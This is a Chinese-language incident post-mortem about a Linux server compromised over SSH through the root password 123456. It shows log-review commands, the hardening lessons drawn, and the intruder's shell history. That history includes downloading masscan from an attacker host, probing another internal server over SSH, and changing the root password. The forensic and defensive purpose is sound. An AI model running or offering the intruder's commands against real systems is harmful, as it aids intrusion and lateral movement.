root密碼被修改
新裝機的Linux伺服器替換老伺服器,並且接通了外網,之前一直以為外網SSH的22埠是不通的,都是在內網跳板機SSH登陸,所以沒太注意密碼複雜度,裝機時root密碼設為123456了。而實際上外網的22埠是開放的。第二天發現SSH登陸不了,提示密碼錯誤。運維人員進入機房
採用單使用者模式進入伺服器修改密碼,才又可以登陸。
拿回密碼之後排查被入侵過程如下。
誰成功登陸過?
[root@localhost home]# grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' #secure檔案每週歸檔加上-歸檔時間,如果查上週登陸將secure改為secure-上週最後一天日期
Jun 08 21:21:26 root 10.1.1.5 #登入成功的日期、時間、使用者名稱、IP
Jun 08 22:52:48 root 10.1.1.5 【跳板機使用123456登陸】
Jun 08 23:24:27 root 10.1.1.5
Jun 09 00:08:29 root 194.165.16.45 【俄羅斯IP,外網使用123456登陸】
Jun 09 01:19:39 root 223.112.28.14 【南京IP,外網使用123456登陸】
Jun 09 01:20:16 root 92.80.248.158 【羅馬尼亞IP,外網使用123456登陸】
Jun 09 16:06:38 root 10.1.1.5
Jun 09 16:10:00 root 10.1.1.5 【單使用者修改密碼後跳板機可以登陸】
執行grep "Failed password for root" /var/log/secure | awk '{print $11}' 檢視看自己的伺服器有沒有人嘗試破解
入侵者登陸後做了什麼?
[root@localhost home]#history | more 【去除自己執行的指令,剩下的就是入侵者的指令】
548 w 【檢視登陸使用者】
549 ls
550 free -mt 【檢視記憶體】
551 lscpu
552 cat /proc/cpu info
553 cat /pro/cpcuinfo #檢視cpu資訊
554 cat /proc/cpuinfo
555 ifconfig
556 ssh 10.1.1.26 【嘗試內網其它伺服器,如果其它伺服器密碼簡單也會被攻陷】
557 w
558 passwd 【修改root密碼】
559 wget nasapaul.com/masscan 【下載埠掃描工具,沒成功】
560 wget
561 ls
562 df -h
563 nvidia-smi
564 w
565 ls
566 cat /etc/hosts
567 top
入侵者沒有過多操作,改了root密碼就離開了。不太清楚他會以後再來,還是到此為止。搜尋nasapaul,可以看到一些其它伺服器被攻擊的資訊,網上有個羅馬尼亞黑客網名叫paul,高調囂張,專門入侵伺服器,並且不斷在內網破解其它伺服器的密碼,利用伺服器算力挖門羅幣。結合登陸IP有羅馬尼亞地址,很可能就是這個人。
他在這臺伺服器上只修改了密碼就離開了,沒有部署挖礦程式。
結論
替換之前的老伺服器外網埠也是開的,但是多年未被登陸,就是因為密碼比較複雜。
此事的教訓就是
- root密碼一定要有複雜度,一方面你認為不通外網的伺服器未必不通外網。另一方面,和你同一區域網的機器被控制了,入侵者以它為跳板,你也直接面臨來自外網的破解。
- 123456可能是最弱的密碼,六個1可能都更好。
- 網際網路SSH埠一定關閉。
- 修改/etc/ssh/sshd_config裡的Port值為22之外的值,能增加破解難度。